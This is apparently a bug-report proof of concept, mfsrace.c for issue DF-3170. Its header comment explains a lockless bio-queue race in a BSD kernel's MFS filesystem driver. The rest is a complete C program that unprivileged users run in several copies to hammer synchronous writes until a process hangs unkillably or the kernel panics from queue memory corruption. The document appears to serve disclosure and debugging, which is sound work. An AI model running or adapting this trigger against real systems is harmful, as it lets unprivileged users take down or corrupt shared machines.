DF-3170 / mfsrace.c
/* DF-3170 โ unprivileged stress trigger for the MFS bio-queue race. * * sys/vfs/mfs/mfs_vfsops.c: * - mfsstrategy() (line 187) inserts bios into mfsp->bio_queue while * holding the BGL (mfs_ops is not D_MPSAFE -> dev_dstrategy get_mplock). * - mfs_start() (lines 452-463) dequeues via bioq_takefirst() under ONLY * crit_enter() โ a local-CPU critical section โ because mfs_mount set * MNTK_ST_MPSAFE (line 401), so vfs_start() does NOT take the BGL. * * Producer and consumer share a lockless TAILQ (sys/sys/buf2.h:141-175) * with no common lock => cross-CPU corruption of the queue: * - a bio inserted between the consumer's TAILQ_FIRST read and its * TAILQ_REMOVE stores is LOST -> issuing thread sleeps in biowait * forever (unkillable hang); * - TAILQ_REMOVE clobbers bio_act.tqe_prev of an element being * concurrently inserted / leaves tqh_last pointing into a biodone'd * (recyclable) buf -> kernel memory corruption on later inserts. * * Trigger: plain file I/O on a mounted MFS. Run several copies as an * UNPRIVILEGED user; each O_SYNC pwrite forces a synchronous buffer I/O * through mfsstrategy on whatever CPU the writer lands on, racing the * mfs server thread draining the queue on another CPU. * * Success criterion: a writer wedges uninterruptibly (ps state biowr, * iteration counter frozen) while the mount is idle, and/or the kernel * panics with queue-corruption signatures. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <time.h> #include <errno.h> int main(int argc, char **argv) { const char *dir = argc > 1 ? argv[1] : "/mnt/mfs"; int nfiles = argc > 2 ? atoi(argv[2]) : 3; char path[256], buf[512], rbuf[512]; int fds[8]; unsigned long iter = 0; time_t start = time(NULL); int i; if (nfiles > 8) nfiles = 8; memset(buf, 0x41, sizeof(buf)); for (i = 0; i < nfiles; i++) { snprintf(path, sizeof(path), "%s/w%d.%d", dir, (int)getpid(), i); fds[i] = open(path, O_CREAT | O_RDWR | O_SYNC | O_TRUNC, 0644); if (fds[i] < 0) { perror(path); exit(1); } } fprintf(stderr, "pid %d hammering %d files in %s\n", (int)getpid(), nfiles, dir); for (;;) { for (i = 0; i < nfiles; i++) { if (pwrite(fds[i], buf, sizeof(buf), (off_t)(iter % 2000) * 512) < 0) { fprintf(stderr, "write err iter=%lu: %s\n", iter, strerror(errno)); exit(2); } if ((iter & 3) == 0) { if (pread(fds[i], rbuf, sizeof(rbuf), (off_t)(iter % 2000) * 512) < 0) { fprintf(stderr, "read err iter=%lu: %s\n", iter, strerror(errno)); exit(3); } } } iter++; if ((iter & 0x3FFFF) == 0) { fprintf(stderr, "pid %d: %lu iters, %ld s\n", (int)getpid(), iter, (long)(time(NULL) - start)); } } } |